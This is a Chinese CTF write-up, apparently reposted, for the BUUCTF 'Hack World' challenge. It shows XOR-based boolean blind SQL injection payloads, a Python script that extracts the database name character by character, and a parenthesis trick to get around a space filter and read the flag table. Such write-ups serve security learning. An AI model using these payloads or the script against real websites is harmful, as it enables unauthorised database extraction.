BUUCTF Hack World


有返回 ,基於布爾得盲注
這里用到異或注入(個人喜歡這樣用)
1^0 返回 Hello, glzjin wants a girlfriend.
1^1 返回 Error Occured When Fetch Result.

(1)^(length(database())>11) 根據返回得到后面語句為假,但是>10返回真,數據庫長度為11
上腳本
import requests
import string
str=string.ascii_lowercase+string.ascii_uppercase+string.digits+'!@#$%^&*()_+'
url='http://5f73bc57-8da1-4611-8994-3e7796120777.node3.buuoj.cn/index.php'
db_name=''
flag="Error Occured When Fetch Result."
for i in range(1,12):
for str1 in str:
data="(1)^(substr(database(),%d,1)='%s')"%(i,str1)
key={'id':data}
r=requests.post(url,data=key).text
if flag in r:
db_name=db_name+str1
print(db_name+" is")
break
else:
print(str1+" is not")

 

 

 


表名和列名題目都有提示都是flag
但是在跑長度是發現有些被過濾了
字母+'空格'+字母 被過濾
這里直接用()去繞過
(1)^(length((select(flag)from(ctftraining.flag)))>42)得到表廠為42
然后只需要將上面腳本 data換一下就好了

 

 跑出答案 看kk師傅wp說好多都被過濾了 沒去嘗試,我也不知道那些被過濾,只知道空格加字母,主要是因為這道題直接告訴了表名和列名

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM